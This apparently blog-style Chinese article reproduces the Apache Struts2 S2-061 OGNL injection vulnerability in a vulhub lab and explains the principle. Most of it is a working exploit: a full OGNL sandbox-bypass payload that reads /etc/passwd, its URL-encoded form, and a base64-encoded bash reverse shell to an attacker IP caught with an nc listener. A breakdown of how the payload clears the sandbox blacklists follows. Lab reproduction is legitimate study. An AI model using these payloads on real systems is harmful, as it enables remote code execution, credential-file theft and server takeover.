news 2026/4/25 11:01:17

Apache Struts2 OGNL RCE注入

作者头像

张小明

前端开发工程师

1.2k 24
文章封面图
Apache Struts2 OGNL RCE注入

Apache Struts2 OGNL RCE注入

Apache Struts2 OGNL RCE漏洞是一种严重的远程代码执行漏洞,攻击者通过构造恶意的OGNL表达式注入到HTTP请求参数中,利用Struts2框架对OGNL表达式处理不当的缺陷,绕过安全沙箱限制,最终实现在目标服务器上执行任意系统命令,从而获取服务器控制权。

1.什么是Apache Struts2?

Apache Struts2(也称为 Struts2)是一个开源的 Java Web 应用框架。

它主要用于构建企业级 Java EE Web 应用程序,提供 MVC(Model-View-Controller)架构支持,帮助开发者快速开发可维护的 Web 应用。

Struts2 基于 OGNL(Object-Graph Navigation Language)表达式语言来处理数据绑定、表单验证和动态内容渲染等功能。它是 Struts1 的后继版本,从 2006 年左右开始流行,但由于历史漏洞较多,现在许多项目已转向更现代的框架如 Spring MVC。

2.原理

(1) OGNL

OGNL三要素

Expression(表达式) 字符串形式的指令,告诉 OGNL “你要做什么”。 例子:user.name、@java.lang.Runtime@getRuntime().exec('calc')、#session.get('user') 等

Root(根对象) 操作的“主体对象”,也就是你主要想访问/修改的对象。 在 Struts2 中,Root 默认就是 ValueStack(值栈),值栈最顶层通常是当前的 Action 实例。 → 访问 Root 对象的属性时,不需要加任何前缀,直接写属性名即可。

Context(上下文) 一个 Map 结构(OgnlContext),相当于“运行环境”。 里面存放了各种辅助对象、临时变量、环境信息等。 在 Struts2 中,Context 就是 ActionContext,包含了:

#parameters(请求参数)

#request

#session

#application

#attr(依次查找 page→request→session→application)

值栈本身(作为 Root)

→ 访问 Context 里的对象,必须加 # 前缀,例如 #session.user、#parameters.name

OGNL中的重要符号

有三个#%$

%

%: 其用途是在标志属性为字符串类型时,计算OGNL表达式的值,类似JS中的函数eval()。

例如:<s:url value =“%{items.{title}[0]}”/>。获取items对象中title属性,title为数组,取数组索引为0位置的值

#

访问 Context(非根对象)里的数据,取 session、request、parameters、application 等时使用

例如:#session.user #parameters.username #request.get('key')

$

1. 在 struts.xml 配置文件里引用 OGNL

2. 在国际化资源文件(.properties)里引用 OGNL

例如:struts.xml 里: 资源文件:welcome=${user.name}

(2) OGNL RCE漏洞原理

OGNL RCE漏洞是 Struts2 中一类常见的严重安全问题,主要源于框架对 OGNL 表达式的处理不当。

OGNL 是一种强大的表达式语言,用于访问 Java 对象的属性和方法.但在 Struts2 中,如果用户输入(如 HTTP 请求头、参数或标签属性)被直接用于 OGNL 求值,而没有充分验证或转义,就会导致注入攻击。

漏洞影响范围

OGNL RCE 漏洞影响了 Struts2 的多个历史版本:

常见受影响版本:从 Struts 2.0.0 到 2.5.x 系列(如 2.5.25 之前),部分 6.x 早期版本有类似问题。但许多旧版本(如 2.3.x)已停止支持(EOL)。

不是所有 Struts2 应用都易受攻击,取决于配置(如是否使用强制 OGNL 求值或暴露了特定插件)。但遗留系统特别危险。

3.漏洞复现

漏洞复现环境

准备好docker

靶机环境(使用 vulhub靶场):

克隆vulhub仓库

git clone --depth 1 https://github.com/vulhub/vulhub.git

到漏洞地址

cd vulhub/struts2/s2-061

拉取镜像

docker-compose up -d

拉取失败的可以使用这个仓库的镜像源配置工具:

git clone https://github.com/hzhsec/docker_proxy.git

chmod +x *.sh

./docker-proxy.sh

再拉取

docker-compose up -d

使用docker ps查看镜像是否运行

访问:http://靶机IP:8080

尝试id注入代码

http://192.168.41.128:8080/.action?id=%{'hzhsec'+(1+2).toString()}

url编码

http://192.168.41.128:8080/.action?id=%25%7B'hzhsec'%2B(1%2B2).toString()%7D

成功将id的值更换执行

尝试poc

%{(#instancemanager=#application["org.apache.tomcat.InstanceManager"]). (#stack=#attr["com.opensymphony.xwork2.util.ValueStack.ValueStack"]). (#bean=#instancemanager.newInstance("org.apache.commons.collections.BeanMap")).(#bean.setBean(#stack)). (#context=#bean.get("context")).(#bean.setBean(#context)).(#macc=#bean.get("memberAccess")). (#bean.setBean(#macc)).(#emptyset=#instancemanager.newInstance("java.util.HashSet")).(#bean.put("excludedClasses",#emptyset)).(#bean.put("excludedPackageNames",#emptyset)). (#arglist=#instancemanager.newInstance("java.util.ArrayList")).(#arglist.add("cat /etc/passwd")). (#execute=#instancemanager.newInstance("freemarker.template.utility.Execute")).(#execute.exec(#arglist))}

编码:

%25%7B(%23instancemanager%3D%23application%5B%22org.apache.tomcat.InstanceManager%22%5D).%20(%23stack%3D%23attr%5B%22com.opensymphony.xwork2.util.ValueStack.ValueStack%22%5D).%20(%23bean%3D%23instancemanager.newInstance(%22org.apache.commons.collections.BeanMap%22)).(%23bean.setBean(%23stack)).%20(%23context%3D%23bean.get(%22context%22)).(%23bean.setBean(%23context)).(%23macc%3D%23bean.get(%22memberAccess%22)).%20(%23bean.setBean(%23macc)).(%23emptyset%3D%23instancemanager.newInstance(%22java.util.HashSet%22)).(%23bean.put(%22excludedClasses%22%2C%23emptyset)).(%23bean.put(%22excludedPackageNames%22%2C%23emptyset)).%20(%23arglist%3D%23instancemanager.newInstance(%22java.util.ArrayList%22)).(%23arglist.add(%22cat%20%2Fetc%2Fpasswd%22)).%20(%23execute%3D%23instancemanager.newInstance(%22freemarker.template.utility.Execute%22)).(%23execute.exec(%23arglist))%7D

成功读取/etc/passwd

尝试修改命令反弹shell

shell命令

bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjEuMTAyLzY2NjYgMD4mMQ==}|{base64,-d}|{bash,-i}

替换上面的cat命令

攻击机:

nc -lvvp 4444 启动监听

发送payload

http://192.168.41.128:8080/.action?id=%25%7B(%23instancemanager%3D%23application%5B%22org.apache.tomcat.InstanceManager%22%5D).%20(%23stack%3D%23attr%5B%22com.opensymphony.xwork2.util.ValueStack.ValueStack%22%5D).%20(%23bean%3D%23instancemanager.newInstance(%22org.apache.commons.collections.BeanMap%22)).(%23bean.setBean(%23stack)).%20(%23context%3D%23bean.get(%22context%22)).(%23bean.setBean(%23context)).(%23macc%3D%23bean.get(%22memberAccess%22)).%20(%23bean.setBean(%23macc)).(%23emptyset%3D%23instancemanager.newInstance(%22java.util.HashSet%22)).(%23bean.put(%22excludedClasses%22%2C%23emptyset)).(%23bean.put(%22excludedPackageNames%22%2C%23emptyset)).%20(%23arglist%3D%23instancemanager.newInstance(%22java.util.ArrayList%22)).(%23arglist.add(%22bash%20-c%20%7Becho%2CYmFzaCAtaSA%2BJiAvZGV2L3RjcC8xMC4yMTAuNjYuMTA4LzQ0NDQgMD4mMQ%3D%3D%7D%7C%7Bbase64%2C-d%7D%7C%7Bbash%2C-i%7D%22)).%20(%23execute%3D%23instancemanager.newInstance(%22freemarker.template.utility.Execute%22)).(%23execute.exec(%23arglist))%7D

成功上线:

poc原理

获取 Tomcat 的 InstanceManager#instancemanager = #application["org.apache.tomcat.InstanceManager"] → 从 ServletContext(application)里拿到 Tomcat 的实例管理器,它能“暴力”new 出任何类的实例(即使 OGNL 沙箱不允许)。

拿到当前的 ValueStack(值栈)#stack = #attr["com.opensymphony.xwork2.util.ValueStack.ValueStack"] → 值栈是 Struts2 的核心,里面存着 Action、request、session 等所有上下文信息。

用 BeanMap 魔法绕过访问限制(最核心的沙箱绕过技巧) #bean = #instancemanager.newInstance("org.apache.commons.collections.BeanMap")#bean.setBean(#stack) → 创建一个 BeanMap(一种能把任意对象当 Map 用的黑科技类),然后把值栈塞进去。 之后就能通过 .get("context")、 .get("memberAccess") 这种方式,访问原本不允许直接访问的私有字段。

继续链式操作: → 先拿到 context → 再拿到 _memberAccess(OGNL 的安全管理器对象,控制什么能执行、什么类被禁止)

清空沙箱黑名单(真正解除限制) #emptyset = #instancemanager.newInstance("java.util.HashSet") #bean.put("excludedClasses", #emptyset)#bean.put("excludedPackageNames", #emptyset) → 把 OGNL 的两个黑名单(禁止的类 + 禁止的包)全部清空成空集合。 → 从此 OGNL 什么类都能用了,什么包都能访问了(沙箱彻底失效)。

准备命令并执行#arglist = #ins

tancemanager.newInstance("java.util.ArrayList")#arglist.add("cat /etc/passwd") → 创建一个参数列表,里面放要执行的命令。

版权声明: 本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若内容造成侵权/违法违规/事实不符,请联系邮箱:809451989@qq.com进行投诉反馈,一经查实,立即删除!
网站建设 2026/4/19 19:24:58

踩下油门时混合动力车的能量分配就像打扑克——既要看当前手牌,也得算后面几步。模型预测控制(MPC)在这局游戏里当起了军师,今天咱们就拆解这背后的骚操作

模型预测控制&#xff08;MPC&#xff09;在混合动力汽车能量管理策略开发上的运用。 [1]利用车速预测模型&#xff08;BP或者RBF神经网络&#xff0c;预测模型资料也有发在其他链接&#xff09;根据预测的信息对车辆进行优化控制&#xff0c;可以对混动汽车的能量管理具有一定…

作者头像 李华
网站建设 2026/4/21 10:15:23

100kW微型燃气轮机Simulink建模探索

100kW微型燃气轮机Simulink建模&#xff0c;微燃机包括压缩机模块、容积模块、回热器模块、燃烧室模块、膨胀机模块、转子模块以及控制单元模块。 考虑微燃机变工况特性下的流量、压缩绝热效率、膨胀绝热效率、压缩比、膨胀比等参数的变化&#xff0c;可以观察变负载情况下微燃…

作者头像 李华
网站建设 2026/4/22 0:04:38

基于深度学习神经网络YOLOv4目标检测的汽车车牌识别系统

第一步&#xff1a;YOLOv4介绍 YOLOv4是一种目标检测算法&#xff0c;它在精度和速度之间取得了最佳的平衡。它是YOLO&#xff08;You Only Look Once&#xff09;系列算法的最新版本&#xff0c;通过将目标检测任务转化为一个回归问题&#xff0c;实现了实时目标检测。YOLOv4…

作者头像 李华
网站建设 2026/4/21 11:07:19

【测试人生】一套灵活的变更风险观测策略匹配机制设计

近期笔者在投入变更风险防控开放平台的额外功能开发&#xff0c;目的是希望设计一套更加灵活的变更风险观测策略匹配机制&#xff0c;能够在满足面向任意变更场景应用观测策略的同时&#xff0c;尽可能保证产品体验&#xff0c;让用户清晰地了解到自己配置的什么策略能够在什么…

作者头像 李华
网站建设 2026/4/20 5:32:12

基于贾子智慧理论体系的 AI 未来发展核心观点深度解构

智慧升维&#xff1a;基于贾子智慧理论“万物统一本质规律”的AI革命与文明跃迁深度解构摘要&#xff1a; 本报告以贾子智慧理论&#xff08;KWF&#xff09;“万物统一本质规律”为基石&#xff0c;运用“势-道-术”三层逻辑&#xff0c;深度解构AI对职业、经济、技术、能源及…

作者头像 李华
网站建设 2026/4/19 23:51:09

基于物联网的智能农情监测预警系统

3 设计方案 3.1 系统总体模块设计 该系统主要模块主要组成部分为单片机&#xff0c;单片机也是主要核心的芯片&#xff0c;与此同时还运用了2.4寸的TFT彩屏&#xff0c;以及WIFI模块进行选择&#xff0c;DS18B2用来设置温度的传感器&#xff0c;当然也有补光模块和燃气烟雾模块…

作者头像 李华